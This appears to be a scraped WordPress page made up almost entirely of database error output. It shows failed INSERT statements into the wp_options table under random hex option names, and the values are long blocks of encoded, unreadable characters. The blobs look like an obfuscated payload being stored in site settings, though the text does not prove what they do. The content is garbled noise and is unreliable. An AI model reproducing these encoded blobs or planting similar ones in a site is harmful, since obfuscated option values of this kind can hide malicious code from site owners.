bHX]T^EKEHX	P^Q^	HYK555VY]]W	SFT[SO[QS]]W	SFT[SO[QS\SZ^MLK^K\^\WZKMJZM	L]ZERI5xsp}~sld]]W	SFT[SO[QSbLKMVQX]]W	SFT[SO[QSM	L]ZERILKMVQXVXM][PQ]Y\LM	L]ZERI5VY[ZYVQZ[VXM][PQ]Y\L[ZYVQZEFRTLZZP[KHX]T^EKEHX	P^Q^	HYK5VY[ZYVQZ[]]W	SFT[SO[QS[ZYVQZEFRTLZZP[KHX]T^EKEHX	P^Q^	HYK555Q	
OIM^H]XFX^S]]W	SFT[SO[QS55555E	EHGJ`IIWL[VO[]YEM	L]ZERI5VYEFRTLZZP[K]]W	SFT[SO[QSVH`INEO^FN]EX]]W	SFT[SO[QSD5KMFD5HVYIYXFOP`J`\^PQZPIIFTLPWKQ555VY]]W	SFT[SO[QSHVYIYXFOP`D5homzlk~ovISP\TZNJVI^SZQ\Z\S^LL5555PILG^QT[`M^WVTLW
XJG
JFGVSN\F555H^[H[EIQNUU`JLJWQ
ZWLW^LNTJHVYIYXFOP`5555VYVXM][PQ]Y\LH^[H[EIQNUU`D5YPMZ^\WH^[H[EIQNUU`^LPPE
	QQGD55VYPPE
	QQGPILG^QT[`M^W\PQKVQJZ5VYEFRTLZZP[KVXM][PQ]Y\LPPE
	QQG\PQLK^QKEFRTLZZP[KVXM][PQ]Y\L
\PQKVQJZ555IMWH^]X\LHVYIYXFOP`PPE
	QQG5VY]]W	SFT[SO[QSIMWH^]X\LVH`INEO^FN]EXIMWH^]X\L		GZV`\ZHSHL[TYIIMWH^]X\LGG^D5[E`VP
FSGYLX^VIMWH^]X\L5B55B5B5B5B\^K\WkWMPH^]SZSKQO
]K`D5owojQVKOMPUZ\KVIZ^[ULZLLVPQKFOZ55PTG]`[M\TJL[^FSJVXM][PQ]Y\LSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5VQLKMJ\KVPQOPVQKZM5555B5B5LOVSSPM]VK555VY^^FJIM`E^]QEZRD5XFTSLI[EJIT]EFRTLZZP[KVXM][PQ]Y\L
555B55xsp}~sldEFRTLZZP[K	b^MM^F5xsp}~sldEFRTLZZP[Kb^MM^F555xsp}~sldVH`INEO^FN]EXb5VYVH`INEO^FN]EX]]W	SFT[SO[QS	D5VXM][PQ]Y\LVH`INEO^FN]EXXMRGXTW^ZEZ
FVJGYEQXMRGXTW^ZEZ5555]]W	SFT[SO[QSVXM][PQ]Y\L55B5GN]Y\UX
Q^N]]W	SFT[SO[QSM	L]ZERI]]W	SFT[SO[QS	VXM][PQ]Y\L
M	L]ZERIVH`INEO^FN]EXT	T`[	PXowo`r~upm`izmlvpqM
Q\[ONRNT	T`[	PX
55VYVXM][PQ]Y\LGN]Y\UX
Q^ND55PXWSN
WW
	M]EVH`INEO^FN]EX
LKMVQXEFRTLZZP[K
GN]Y\UX
Q^N5`QHHFQ^LWW\IX^[N]QQ\^PJF5VYPXWSN
WW
	M]ECCPXWSN
WW
	M]E`QHHFQ^LWW\VFSMLJMN\IFZNQGN]Y\UX
Q^N5JQLZKPXWSN
WW
	M]E`QHHFQ^LWW\5B5KMFD55]]W	SFT[SO[QS]]W	SFT[SO[QS
M	L]ZERI]]W	SFT[SO[QS
VH`INEO^FN]EX
M	L]ZERIVH`INEO^FN]EX

5^N`GMH[YFGVXM][PQ]Y\L
	IX^[N]QQ\^PJF5YPMZ^\W^MM^F]]W	SFT[SO[QS
M	L]ZERIJ`\^PQZPIIFTLPWKQ^LPH`]YRJFNKD5VYVH`INEO^FN]EXPH`]YRJFNK^N`GMH[YFG]]W	SFT[SO[QS
PH`]YRJFNK^N`GMH[YFG5555B5JQLZK^N`GMH[YFGPH`]YRJFNK5B\^K\WkWMPH^]SZSKQO
]K`D55B\^K\WzG\ZOKVPQSKQO
]K`D5B5555JQLZKGN]Y\UX
Q^N5555XFTSLI[EJIT]VXM][PQ]Y\LEFRTLZZP[K
5XFTSLI[EJIT]VH`INEO^FN]EX]]W	SFT[SO[QS
5XFTSLI[EJIT]VXM][PQ]Y\L	EFRTLZZP[K
5XFTSLI[EJIT]VH`INEO^FN]EX	VXM][PQ]Y\L
5XFTSLI[EJIT]VH`INEO^FN]EX	EFRTLZZP[K	5XFTSLI[EJIT]VH`INEO^FN]EX	VXM][PQ]Y\L	
a5XFTSLI[EJIT]VXM][PQ]Y\L	VXM][PQ]Y\L	5XFTSLI[EJIT]]]W	SFT[SO[QSVH`INEO^FN]EX	
5555T[ZM`X
HZ[
X]]W	SFT[SO[QS		VXM][PQ]Y\L	a5T[ZM`X
HZ[
X]]W	SFT[SO[QS	]]W	SFT[SO[QS	a55T[ZM`X
HZ[
XVXM][PQ]Y\L	EFRTLZZP[K5T[ZM`X
HZ[
XVXM][PQ]Y\LVH`INEO^FN]EX55T[ZM`X
HZ[
XVXM][PQ]Y\LEFRTLZZP[Ka555XFTSLI[EJIT]VXM][PQ]Y\LVH`INEO^FN]EX
	
55T[ZM`X
HZ[
X]]W	SFT[SO[QS	EFRTLZZP[K5T[ZM`X
HZ[
XVXM][PQ]Y\LEFRTLZZP[KG
G
5T[ZM`X
HZ[
XVH`INEO^FN]EXEFRTLZZP[K55T[ZM`X
HZ[
XVH`INEO^FN]EXVXM][PQ]Y\LGG55T[ZM`X
HZ[
XVXM][PQ]Y\LVXM][PQ]Y\L


5XFTSLI[EJIT]EFRTLZZP[K	EFRTLZZP[K5T[ZM`X
HZ[
X]]W	SFT[SO[QSVXM][PQ]Y\L55T[ZM`X
HZ[
XVXM][PQ]Y\L]]W	SFT[SO[QS	55XFTSLI[EJIT]]]W	SFT[SO[QSVH`INEO^FN]EX5XFTSLI[EJIT]EFRTLZZP[K]]W	SFT[SO[QS
5XFTSLI[EJIT]EFRTLZZP[K
VXM][PQ]Y\L	
	55XFTSLI[EJIT]]]W	SFT[SO[QSEFRTLZZP[K
5XFTSLI[EJIT]VXM][PQ]Y\L]]W	SFT[SO[QS
5555XFTSLI[EJIT]]]W	SFT[SO[QS
VH`INEO^FN]EX

5XFTSLI[EJIT]]]W	SFT[SO[QS
EFRTLZZP[K

55XFTSLI[EJIT]VXM][PQ]Y\L]]W	SFT[SO[QS

5XFTSLI[EJIT]VXM][PQ]Y\LVH`INEO^FN]EX
	55XFTSLI[EJIT]VXM][PQ]Y\LVXM][PQ]Y\L
5XFTSLI[EJIT]VH`INEO^FN]EX]]W	SFT[SO[QS
55XFTSLI[EJIT]VXM][PQ]Y\L]]W	SFT[SO[QS
5XFTSLI[EJIT]]]W	SFT[SO[QS]]W	SFT[SO[QS
5555XFTSLI[EJIT]]]W	SFT[SO[QS]]W	SFT[SO[QS
GG5XFTSLI[EJIT]VH`INEO^FN]EXEFRTLZZP[K
GG555XFTSLI[EJIT]EFRTLZZP[K
VH`INEO^FN]EX
5XFTSLI[EJIT]VXM][PQ]Y\L
]]W	SFT[SO[QS

5XFTSLI[EJIT]]]W	SFT[SO[QS
EFRTLZZP[K
	a5XFTSLI[EJIT]VXM][PQ]Y\L
EFRTLZZP[K

5XFTSLI[EJIT]VH`INEO^FN]EX
EFRTLZZP[K
	TVUT
ZLC
]IXFW
GTKTVUT
ZLa5VYVH`INEO^FN]EXVXM][PQ]Y\LDIOGVWHXVC
QOL
IOGVWHXVa5]]W	SFT[SO[QSYJQ\KVPQD555VYZROKFxsp}~sldVH`INEO^FN]EXbMZKJMQ5VY[ZYVQZ[EFRTLZZP[KCCVXM][PQ]Y\LVXM][PQ]Y\L
MZKJMQ5555VYVXM][PQ]Y\L
EFRTLZZP[K
D5KMFD5STYI]\VXN\\
\L5B\^K\WkWMPH^]SZSKQO
]K`D5B\^K\WzG\ZOKVPQSKQO
]K`D5B5B5B5B5XFTSLI[EJIT]]]W	SFT[SO[QS
VXM][PQ]Y\L

5555XFTSLI[EJIT]VH`INEO^FN]EXVH`INEO^FN]EX5XFTSLI[EJIT]VH`INEO^FN]EXVH`INEO^FN]EX
5XFTSLI[EJIT]]]W	SFT[SO[QSVH`INEO^FN]EX
5XFTSLI[EJIT]]]W	SFT[SO[QS
YJQ\KVPQD5VY]]W	SFT[SO[QS
VXM][PQ]Y\L
CCEFRTLZZP[K
VH`INEO^FN]EX

MZKJMQ5555RYUXK]`VU	\IS]WVQKXZK`POKVPQ]]W	SFT[SO[QS
	5VYEFRTLZZP[KRYUXK]`VU	\IS]W
D555JO[^KZ`POKVPQVXM][PQ]Y\L
VH`INEO^FN]EX
5I[FSK		ZJXM5B5B
	55555XFTSLI[EJIT]]]W	SFT[SO[QSVXM][PQ]Y\L
5555T[ZM`X
HZ[
X]]W	SFT[SO[QS
EFRTLZZP[K
5VYEFRTLZZP[K
VH`INEO^FN]EX
[V[`^\KVPQEFRTLZZP[K
D5VEUVWMSKSI[5B55555B5^[[`^\KVPQ^[RVQ`RZQJYJQ\KVPQD5^[[`POKVPQL`O^XZlZKKVQXLlZKKVQXLR^Q^XZ`POKVPQLMZKMPKPPSTVKYVGLZKKVQXLYJQ\KVPQD5Z\WP[VI\S^LLHM^OWlZKKVQXLWYPMRRZKWP[OPLK^\KVPQPOKVPQLOWO5LZKKVQXL`YVZS[LMZKMPKPPSTVKYVG`XMPJO5[P`LZKKVQXL`LZ\KVPQLMZKMPKPPSTVKYVGLZKKVQXL5LJ]RVK`]JKKPQ5Z\WPYPMR[VI5B5B5^[[`^\KVPQ^[RVQ`VQVKYJQ\KVPQD5MZXVLKZM`LZKKVQXMZKMPKPPSTVKYVG`XMPJOMZKMPKPPSTVKYVG`POKVPQL5^[[`LZKKVQXL`LZ\KVPQMZKMPKPPSTVKYVG`R^VQ|PQYVXJM^KVPQYJQ\KVPQDZ\WPO|PQYVXJMZPOKVPQL]ZSPHOBMZKMPKPPSTVKYVGLZKKVQXL5^[[`LZKKVQXL`YVZS[MZKMPKPPSTVKYVG`\^\WZ|^\WZrP[ZYJQ\KVPQD5PXZK`POKVPQMZKMPKPPSTVKYVG`POKVPQL^MM^FIVLLZKPd\^\WZb Pd\^\WZbZQ^]SZ[5Z\WPLZSZ\KQ^RZZL\`^KKMMZKMPKPPSTVKYVG`POKVPQLd\^\WZbPOKVPQI^SJZZQ^]SZ[LZSZ\KZ[IZQ^]SZ[Y^SLZzQ^]SZ[POKVPQPOKVPQI^SJZ[VL^]SZ[LZSZ\KZ[I[VL^]SZ[Y^SLZ{VL^]SZ[POKVPQLZSZ\K5BMZKMPKPPSTVKYVGLZKKVQXLMZKMPKPPSTVKYVG`R^VQ5B5VYYJQ\KVPQ`ZGVLKL^[[`LWPMK\P[Z^[[`LWPMK\P[ZMZKMP`KPPSTVK`YVG`LK^KLYJQ\KVPQD5PXZK`POKVPQMZKMPKPPSTVKYVG`POKVPQL^MM^F5MZKJMQLK^KLVLLZKPd\^\WZb Pd\^\WZbQPQZ5B5VYYJQ\KVPQ`ZGVLKLHO`QPMR^SVEZ`O^KWYJQ\KVPQ`ZGVLKLMZXVLKZM`^\KVI^KVPQ`WPPTMZXVLKZM`^\KVI^KVPQ`WPPT``yvsz``YJQ\KVPQD5VYXZK`POKVPQMZKMPKPPSTVKYVG`POKVPQL^[[`POKVPQMZKMPKPPSTVKYVG`POKVPQL^MM^F\^\WZZQ^]SZ[IZMLVPQ5B5', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('9a645255d3d7', ')ZYAY###		yE\N@G	gHDL							{L][F	}FFEB@]	o@Q#		yE\N@G	|{`								A]]YZN@]A\KJFDZFYA@HD@]JALEE[L][F]FFEB@]O@Q#		mLZJ[@Y]@FG							jFDYHJ]	JFG]LG]	MLE@_L[P	]FFE#		L[Z@FG											#		h\]AF[												zFYA@H	d@]JALEE#		e@JLGZL											nyeF[EH]L[#		}LQ]	mFDH@G							[L][F]FFEB@]O@Q#		{LX\@[LZ	H]	ELHZ]	#		{LX\@[LZ	yay						#	#	zj	#@OO\GJ]@FGvLQ@Z]ZKKAEPBMEYMGE MLO@GLMzjvjf{lvkff}vl{ _L[Z@FGvJFDYH[LZ][@GN zjvjf{lvkff}vl{  UU@ZZL]nefkhezrZJvKFF]v_L[t _L[Z@FGvJFDYH[LZ][@GN nefkhezrZJvKFF]v_L[t    RO\GJ]@FG	BX\EC@PSE@]@ RZ]H]@J	HG\EE@OHG\EE RHH[[HPvDL[NLH[[HPKSIFluu^uus	fR	Lyl[yg[oAs[uuCAlol
bA[uuLyl[yIuuI HEuuHlo^
slo^AlLlo^lo^[A^[yLyl[y^o^AIu uuI HEuuHGv
bA[lA^g[oAs[uuCAlolYs[A[g[oAs[uuCAlolosYg[oAs[uuCAlol^[ys
g[oAs[uuCAlolo
[ylluubouuo
uuA^lluubouuo
uuA^Go
AluuA^Aluu^AoyLIuuEUEuuH
vs[o[oGGluuo

o[uIHluuo
uugACg[oAs[uuCAlol^y
yoY^y
yoYIuuEUEuuHGluu@A^Gs^uus^
Y
Aluulo^A[b H[[HPAluuA^AluugAgAuubouus[o[olg[oAs[uuCAlolRwBC`]l`oJgyG
bA[lG^y
yoY@gAuubouus[o[ol@bouus
oAs[g[oAs[uuCAlol
youus
oAs[yoAuu
bA[lAluuy^^yA[uuy^^yy^^yuuylgAuubouus[o[olAluulo^A[b
^buuyoYGG{rSeQiMMMqr{GGgAoAgAlAnluu^s[uugoYluu
ysyuuoy
yYuubouu^lAs[SUeUuuSkUlo^oss^SUeUuuSkUy
yYlo^
slAol
s
[Aol

Y
uuly
Auu[yAU USuuuUFSUeUuuSkUAol
A[AuuboA[Auubos
[uuLylA^^y
yoYC
slo^
slKuuEuU@luusuu[luusuu[AluusLooYsuuCAlol H[[HPbouuy^SUUrUuupi~~ar]qgsgs
[IuuEUEuuHGAluuA^GluusluusuugYAluuy^^yluusuu[luusuu[luusuugYluusuugYluusuugYluusuugYB^SUUrUUSUuupi~~qHSuukHUuuuSY^syLQrlLlo^QrAluulo^A[blLlo^Qrluu^^s^lluu^^s^ls[oluu^^s^lluu^^s^ly^^yuulAluu^^s^lyuuyoAs[Aluulo^A[byuugAo^g[oAs[uuCAlolIuuEUEuuHGluuGyYGA[C
Y
AluuA^Aluu^AoyLAluuA^Aluu^AoyLA^[yluu
^b H[[HPAluuy^^yluu
^bluu
^b^y
yoYluu
^bluu
^bluu
^b^y
yoYg[oAs[uuCAlol^bAlo^uulYos[uug[oAs[ys}}uu@uuY}luu
^bAluuy^^yluu
^bYss
yYuuA[yAyog[oAs[uuCAlol^^s^uubouuyloAluuy^^ygAo
llybllybsrs^rlAnuyCArCoAs[roA^y
yoY^y
yoY^y
yoYAluulo^A[bluuLssouu^luuLssouuloy^loyoyYgAlAn
Y
GBuuGLuuoAg[oAs[uuCAlol
youus
oAs[luu
youuLyoA[sA^[yg[oAs[uuCAlolyoAuu
bA[lA[uuy^^yy^^yuuAgggyAsgg^[y H[[HPs
yYuuA[yAyo
Y
sgggAoAoAA^[yAluuA^GluuLyl[ygAuubouus[o[olAluulo^A[bGMMMGZgAuu
ouus[o[olg[oAs[uuCAlolluu
[A[buuA[yAyo
bA[luusy^`wCClBuunLf]JL`B`}}n[h
Bby@]]]C
sl
yoYA[gsgAlAn
^buuyoYGG{rSeQiMMMqr{GGyoAuu
bA[lAluuoAlAog[oAs[uuCAlolbouulAouus
oAs[yoAuulAoAuu
bA[lgAuubouus[o[olAluulo^A[bGG{rSeQMMMr{GG
yoY^y
yoYybs[luu
uuoss
bA[luusy[suuhw	lbuuYYfssbfloy^oA[b
s
[A^^yA^s
[A^g[oAs[uuCAlolslA^g[oAs[uuCAlol H[[HPly[A^y^^yuuylg[oAs[uuCAlolbsLbsLG{y^^yuuy
Lyl[yAluulo^A[bT|os[uubouuypUEuuISUAluuy^^y]CJ	w@R}}@`h`	`w]LhJ}k`}LgJ]}U]hf]C`fJ}U@fkR@J`f}w}}	w}`hUyLLJ	L]ChR@	f@Ukw]}Jhw	]y	`J]	KhJfwwJf@@]yLKKYoo
lQGG]C^
AsGoYYoo
lQGGoY^v
LA[sAly

Yoo
lQGGoY^
s^bYoo
lQGG^
oYbyoygYoo
lQGGoYLs^yns^CnYoo
lQGG
LAvoY[s[slAsYoo
lQGGoYvyA[[o^
gylos|y
AuuCLYKH}b`SEu}L^ItbD	ShbRFwkAbOSIeOC^lUHgYoo
lQGGoY}yyLAYoo
lQGGoY^
LC^L[sYoo
lQGGoYvyA[[o
LALyloy
AAsYoo
lQGGbyoyo[^sG
LAGyA[[oYoo
lQGGoY^^
lLB^[os^G
LAYoo
lQGGoY^v^

LA[ssYoo
lQGGyA[[obyoyo[^sYoo
lQGGoYy
As[gA[yAoAsG
LAYoo
lQGGoY^
LALs
A[os^G}G^
G
LAYoo
lQGGoY^vls[v^
loyAsYoo
lQGG^
l[oAsCnGyA[[oYoo
lQGGoY^AsYoo
lQGGoYy
A
so[os^yA[uuyuuyA[Alo^yos^uuLy
uug[oAs[uuCAlolbn[sg[oAs[uuCAlolbngyo
y^fRAluulo^A[blo^[[
ybns H[[HPg[oAs[uuCAlolbnA[gyolo^[lo^[g[oAs[uuCAlolYCRLA[Aluulo^A[blo^[F{
vyA[G
vA[lGbsL{
Y
y^^yuu^y[oA
uu^y[^y[lo^[yuul^uug[
uu^souubo
uu^souubooAsoll^AgAAouu^l
s[luulAnAluu
uu^^s^^uuA[Ao^uulos
ouuy^^y^uuC IuuU EESkU IuuHuU  IuuSSuueUHkDIUU IuuSSuueUHkDFS IuuEIUSS IuuIUSSk EHEYoo
uusyuul^uug[
uu^souu
slooAsoll^AgAAouu^l
s[luulAnYy^lLsAluu
uu^^s^Aluuy^^yQrxrg[oAs[uuCAlol IuuIS IuuISkHUS IuuHuU  H[[HP IuuFIFUUbouus
oAs[luuylouu^
y^^yuu[lYAgoo^Ay^^yuu^y[cmls[^
mQmR]mamAmQfamoYsmQmoYuuymam
y^ylmQzcmyoymQm]CfL@f]mamosmQmmamyolomNs[o[ov
y

AyoAs[Gls[A^soAo^Als[uus^lo^lo^lolo^
sl]Cs^lLlo^lLlo^Aluulo^A[bAluulo^A[blo^[^ls^
uu^
ouugyA^ls^
uuLyuuuu[boYlLlo^y^^yuugAo^o^A
^buul
AoG^|[GluuRuuyYA
sl^^uu^l^lsl^uuAluulo^A[by^^yuuylo^A^l^
uuyuugyAg[oAs[uuCAlol
youus
oAs[l^AyAnY^ouu^y[Lylh	uu[s H[[HPbouus
oAs[Aluulo^A[bLylh	uuslo^[Y^s^IFIuueUSHEuuH[l^AyAnysuuyllllo^uu^
y
lluu^luuyYAluulyy^luu^^s^l^^s^ly^^yuu^by^^yuu[AB^^s^ly^^yuu[ABy^^yuu^b^^s^lglYuu^^s^llo^[lo^[s^luu
ysyuu
^lAlo[o^s[H[o^y^s[H[o^yluuA[o^yA[o^yAl
ylosryA[o[y[rA[o^yluuby^uuA[o^yAl
y
uu[CouulY
uulYuu[oluuYyA[oAouu^y[HEuuElYos[lw	hB	LgAbCYg[oAs[uuCAlol
uu^souubolAouu^
v^s[
Y
|sA[buu
uu^s[LsA[bgylobAuugA[AlYuu^Blo H[[HPg[oAs[uuCAlolAol
uugA[AlYuu^BloAb[s^uul^uuyLs^oAb[s^uul^uuyLs^oA[AuubonALso
ouus
^llAs[sLuubouusLuubouu[boYs[o[ov[boYQrs[[oAs[QrslsLuu[uuglYglY
uulYuulA[buu[oHSKUuuIuuEbouus
oAs[luuylouugoYuuolbouus
oAs[luul[uu^luul[uu^g[oAs[uuCAlol
uu[lYuu[ogoY^s[uuloyuuA[A[louuoAuuAAobouuo^y[lA[oAluuy^^yluu
ysyuu
^lAlo[o
bA[lAluuy^^yluu
bA[uu^lA[olAluuy^^yluuA[ouu^llluull
ybAluulo^A[bluu
yb
ybllluulyYg[oAs[uuCAlolluuylouuYyuuolg[oAs[uuCAlolluuYyuuly[l^lo^[ H[[HPAluulo^A[blo^[Aluulo^A[bluuylouuYyuuol[slLlo^
Y
IuuI HEuuHbsLG{G{
Y
y^^yuu[AB
^buu^
yGlMGgAuubouus[o[olAluulo^A[bGlMGlouuo^y[lA[oluuYyuuly[oAYyg[oAs[uuCAlolAuuyoAs[^bAlo^uulYos[uug[oAs[g[oAs[uuCAlolYsuu^bouus
oAs[oAluuylouuYL[sg[oAs[uuCAlol
ysyo
ysyooAluuylouugoYuugyAuuolluugoYuugyAlyCA[^
Y
ly
Allg[oAs[uuCAlolAluulll

uu^lAs[l^lLlo^luulAluulo^A[b H[[HPluulluus[luu[lo^[luu^Bluuluu
^A[oluusLluuluusLuulluuolg[oAs[uuCAlolluuluu
^A[ouuolluu^luuYAolluuluu
uuYAolluuyloluuluu
uuyloluuYyg[oAs[uuCAlolluuluuYyuuyAluugAGyy[vyY
Y
gAuubouus[o[oluuLAluugAGL
Y
gAuubouus[o[oluusGsLovyY
Y
buubuuuuby^
vA[loAuuby^g[oAs[uuCAloll^uuA[AgA[yAluulo^A[bi[s[ql^A[AuuA[Ayosuu
^
[uugAuuYoAluugAYoyllyosuu
^
[uugAuuAluugA
vs[gAb
Y
gAuubouus[o[ol H[[HP
vs[gAb
Y
Suu
^
[Suu uuIUIUE
IuupUuueUSHESIuueflbuuyY
^lluu
^buuyYylluuCAlolyYuuU[yL^
uugylolouuyYg[oAs[uuCAlol
uuyYuul^uuyYuugAguusguugyAlluugoYuugyAlguugyAuuolluuylouugoYuugyAuuolAgoloAAuu[AuuRgyluuLuusLAluulo^A[bluuy[y^Aol^^lLlo^lLlo^lAouu^
vsbA[
Y

uusbA[uu^Ysuu^
y^luu^IFIuu uuFSbouulAouu^bouuLsbA[gs^g[oAs[uuCAlolbouus
oAs[lAo^FIuuFSSUeUuuEuUg[oAs[uuCAlolA[Auubo H[[HPyCuuCoAs[uuoAlouuoAuuAAoA^soAAluulo^A[bl^^uul^^uu[sluuylouuRlYggy^^yuu[lYAgos[obouus
oAs[G{
Y
Aluuy^^ysyA[
bA[e^lAs[
bA[^sso^o^AyoAyoIbA[lIbA[lsbA[ ^yA[lyA[lssAl
uuls[uu[sls[uu[ss[o[ov
y

AyoAs[Gsoovlo^yAluuy^^yRuu
orRuu^
ouugyAro^ARuuLyuuls[rgoYuu^Lys[MGvuulo^uul
AoA^soAs[oA^soAluuLPAP[PAluuy^^yg[oAs[uuCAlolluuylouuRg[oAs[uuCAlolouus
oAs[ H[[HPluu^^s^lluu^^s^ly^^yuuyl
bA[Aluulo^A[b
bA[oy^boe^lAs[gs^ 
yoA[olAluuy^^yA[olAluulo^A[bluuyYluull@luuyY[s
yb
ybuuyYllluulllo
yolAluuy^^yo
yolby^yy[yYyuuo
LLuuo
oYoYuuo
YoyllYouuo
l^H[A[Auuo
A[loy^A[louuo
ssy^suuo
Aluu[^AAluu[^A^s[H[o^y^s[H[o^yluuylouugoYuuolnb
h@nwys}oluu
ysyuu
^lAlo[o H[[HP
ysyoluu
ysyuu
^lAlo[o[s^s[H[o^y
uubouulYuu[o
uuy^uulYuuYssoAluuylouugoYuugyAuuolgoYluuYyA[Aluulo^A[bT|
Y

yol[oyCuu^^s^GG{rSeQiMMMqr{GG
yo^uuAlyoY[suul[suu
^A^[yoA[A[g[oAs[uuCAloloAso^A^oAs[g[oAs[uuCAlolg[oAs[uuCAlolbouus
oAs[yoAuu
bA[lA[uuy^^y^
yuugyAlouuo^y[lA[oluu^s^uuYYsuu^
uu^souuboG|luuLoAsol
A[uuy^^y[s
yo^sLyuugyAuuA^[yGBuug[oAs[uuCAlolAluuy^^yA[uuy^^yluu
^lAloy[y^uu^sLyuuGluu H[[HPl^luuYyA[IuuI HEuuHbouu
bA[lgAuuCAlol
vyA[GA[lG
bA[
Y

^buuyoYly[luu
bA[uu^llo^
slA^[yAluu^yyLA[
Y

YoYolAluugAA^soAAluuy^^yAluuA[AluugA
yoYA[gsIFHEkuuUtUESHElo^
slyoAyouu
bA[l
vyA[GA[lG
bA[
Y
g[oAs[uuCAlolIuuI HEuuHAluuA^ouu
bA[l^^[ouul^uuy[bouul^l
uulouu^^[ouul^^syA[Alo^yos^[L^lo^
sl^y
yoYlo^
slHUDuuSUIAluuA[AluuA^^A^y^^yuulAluuA^Aluuy^^yIFHEkuuUtUESHE
Y
^ly[ H[[HPluuylouuo
y[luuylouuo
y[oAluug[oAs[uuCAlol
uuAluugAoA
Y

vs[o[oG
bA[lG{G{
Y
Lyl[yA^[ylo^
slSuuIuuKUHEG[|G{rSuuIuuKUHEQizyvnvO]vJuuQNMqr{G{|G{rSuuIuuUEQ}r{G[|Glg[oAs[uuCAlolluu
bA[uu^lAluuy^^yluuylouu^ly[
^AsAAb^yol^uuA[yAbouuo^y[lA[oluuAbuugyAAluuA[AluuA^Aluu^AoyLuu[souu^AoyLg[oAs[uuCAlolAluugA@gAuubouus[o[olgAuubouus[o[olgAuuCAlolgAuubouus[o[olAluulo^A[b
youus
oAs[g[oAs[uuCAlolouuo^y[lA[obouus
oAs[g[oAs[uuCAlolluuA[AoAyAn[sg[oAs[uuCAlolyuus
oAs[luuylouugoYuugyAuuol[slYos[ H[[HPBJuu
Jl]RABfBbsA[Aoouus
oAs[
uu^souuboy^AluuyA[yoAyouu
bA[lyoAs[yoAyoyoAyovloo^AYAluuy^^yo^A
uulyguu^A^oyA[uu^
bA[l
Y
ly[uuyo^s
A[l
bA[l^s
A[lL
Y
SuuKyy[vyY
Y
Suue^s
A[lgAuubouus[o[olG{ruuKUHEQGG{ruuKUHEQizyvnvO]vJuuQNMqr{G{|G{ruuUEQ}r{GGllol
bA[llolLuuguuw	h	wg
}b]sLyl[y
Y
TloZo^zyoyv
bA[mmNao^zyoyv
bA[mmNcAl
yQ[s[XA
s^oy[oTGloZTl^A
oZs[oyU[oAlo[^imus[o[osymag[oAs[iqcs[oB^Sos^imo^zyoyv
bA[Nmqgs^UyYig[oAs[i^qcy^r
^booo^ALoimyoyv
bA[mqxAgi
mm
mmq^^siqqxy^rs[oB^Sos^imlLlLlLrlolrs[omqxAgiqcy^r[
y^lH[oioCos[o[o^
yiGz_]vJNGbammqq]xAgi[Z]qoCos[o[omimMuyoYyCi]a[v}qMmqmqxTGl^A
oZg[oAs[uuCAlolyA}l	ws`BsCuugyol^o
s	o^h}BYJLyl[ybouu
bA[uuyoyEy H[[HPEy
v
bA[lvyoA
v
bA[lvA[yoAgAlAluuy^^ygAllo^
sl
vv
bA[l
v
bA[lvlolG{rSeQGIbA[rEyQl{iz_^[{NMqGALyl[y
v^s
A[lAluuy^^y
v^s
A[lgAlKSIF
vs[o[oG{ruuKUHEQlo^
sl
yoo^[
^buuBso\YA[\G^ssolAluuy^^yAluuA[oyoo^ALolyoo^ALolIFIuuuduueUSHEkA[^s[[os^G
vgAvy[yb^GALG
Y
GkA[^s[[os^yll
Y
GgAvy[yb^GALG
Y
GkA[^s[[os^yll
Y
GgAvy[yb^vyy[GALG
Y
GkA[^s[[os^yll
Y
AluugAyll
Y

Y
yllrkA[^s[[os^
^buu^
yG_l{T|i
Y
q|GyllruuSuukA[^s[[os^uuyT|
Y
ruuluuYAuuluuYAuuA^T|
Y
ryllrkA[^s[[os^rCo[lruuSuukA[^s[[os^uuyrc
^soorg[oAs[rso
oiry^^yryoyrqrcYArrAlloirKSzmuuluuYAmNrqr|rKSzmuuluuYAmNrQrmmxAgrirYArXrmmrPPrg[oAs[uuCAlolirmluuguugAo^mrqrqrc H[[HPyoyrrluuguugAo^iryoyarYArqx
y^[oQQso
oiryoyrqx
uugs]	B^y`}ClowAluuy^^ygAlyYy[bo^Aluuy^^y[yuuluuYAuuA^lo^[Aluulo^A[bl^AluugAlLlo^@g[oAs[uuCAlolluu^s^uuYl^luu^s^uuoY^soo^s^ls^uu
oo^Aluu^s^uuY
uul[uu[uul^uu[soAgAyoAs[uuosuuyA[uuuu^o^[uugyl
uu[uul^uu[soAgAyoAs[uuyAuuyA[^suuyoAs[^bAlo^uu[uul^
uul[uu[uul^uu[soAgAyoAs[lAouul^uu^youul^
uusbA[
uu[soAguuyA[uu[uusbA[
Ly
yLAAoAlUUrHarl^uusbA[arl^uu
yllarl^uuyArkurrrHEEUrdHErrrErHrrl^uuArFUUroyuurrlrEroyuuyrHpUrlyA[Alo^yos^os
uub[^youuyoYuussAIuuSllAs[uus[lAluuy^^yoAl^uuyoYyoYSU Uuu FuupHU H[[HP FuupHUUuuHEuupHUpHUuuuHEpHUIFuHEuupHUuuIFG
vyA[ UkSU
uuyAAllg[oAs[uuCAlolbouus
oAs[l^uuoylllAs[uuos[ls[oC
A^yoAs[s[obouuA[loy[sbbuuA[ U
uub[^youuyoYuussAssAl
uuyAAluuy^^yLL
AluusLoYyluuy
yA[Alo^yos^AoloA[sA[o^
oAluuy^^yAluuy^^ysbA[uugG_
^buuBsozyvg]vJNcha}]GlLlo^^Yo[`[`^sw	R]@fABsoAg[oAs[uuCAlol
youus
oAs[oAAluulo^A[bA^[y H[[HPl^gAuu
ouus[o[olAsyosAuu[suuA^rLyl[yyosAuuLyuu
Y
rAluugAyosAuu[suuo
[yrlo^[luuLg^AolLlo^g[oAs[uuCAlolgl[gAuu
ouus[o[olyosAuuo
uugyAryosAuulYs^ouu^AorlsgAuubouus[o[olAluulo^A[bAluulo^A[bAluulo^A[bAsyosAuu^[yuugyArgAuubouus[o[ol@g[oAs[uuCAlolYylYuugAAluulo^A[bAluulo^A[blLlo^yosAuu^AguugyArAluulo^A[bYylYuugAyosAuuoYA^uu
y^orLyl[ygAuu
ouus[o[olAluugAAluulo^A[bJwyYgg@R[uusllg[oAs[uuCAlolluu
